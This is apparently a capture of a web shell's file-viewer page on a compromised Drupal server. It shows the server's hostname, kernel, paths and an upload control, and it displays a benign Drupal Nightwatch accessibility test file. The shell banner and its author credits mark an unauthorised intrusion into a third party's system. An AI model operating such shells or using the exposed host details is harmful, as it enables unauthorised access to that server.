Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/sirius-pallets/web/core/tests/Drupal/Nightwatch/Tests/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/sirius-pallets/web/core/tests/Drupal/Nightwatch/Tests/a11yTestDefault.js

const argv = require('minimist')(process.argv.slice(2));

const a11yThemeTest = {
  '@tags': ['core', 'a11y', 'a11y:default'],

  before(browser) {
    browser.drupalInstall({ installProfile: 'nightwatch_a11y_testing' });
    // If the default theme is set to something other than Olivero, install it.
    if (
      argv.defaultTheme &&
      argv.defaultTheme !== browser.globals.defaultTheme
    ) {
      browser.drupalEnableTheme(argv.defaultTheme);
    }
  },
  after(browser) {
    browser.drupalUninstall();
  },
};

const testCases = [
  {
    name: 'Homepage',
    path: '/',
    // @todo remove the disabled 'region' rule in https://drupal.org/i/3318396.
    options: {
      rules: {
        region: { enabled: false },
      },
    },
  },
  {
    name: 'Login',
    path: '/user/login',
    // @todo remove the disabled 'region' rule in https://drupal.org/i/3318396.
    options: {
      rules: {
        region: { enabled: false },
      },
    },
  },
  // @todo remove the heading and duplicate id rules below in
  //   https://drupal.org/i/3318398.
  {
    name: 'Search',
    path: '/search/node',
    options: {
      rules: {
        'heading-order': { enabled: false },
        'duplicate-id-aria': { enabled: false },
      },
    },
  },
];

testCases.forEach((testCase) => {
  a11yThemeTest[`Accessibility - Default Theme: ${testCase.name}`] = (
    browser,
  ) => {
    browser
      .drupalRelativeURL(testCase.path)
      .axeInject()
      .axeRun('body', testCase.options || {});
  };
});

module.exports = a11yThemeTest;

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net